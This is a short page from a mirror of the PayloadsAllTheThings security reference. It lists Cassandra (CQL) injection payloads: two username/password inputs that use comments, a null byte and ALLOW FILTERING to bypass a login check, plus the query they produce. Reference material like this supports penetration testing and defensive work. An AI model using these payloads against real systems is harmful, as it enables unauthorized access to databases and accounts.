mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-23 21:36:09 +02:00

Siddharth Reddy fdc44ce84e

Broken link [Injection In Apache Cassandra – Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/)

2020-10-09 18:10:12 +05:30

Cassandra Injection

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system

Summary

/* Cassandra Comment */

username: admin' ALLOW FILTERING; %00
password: ANY

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;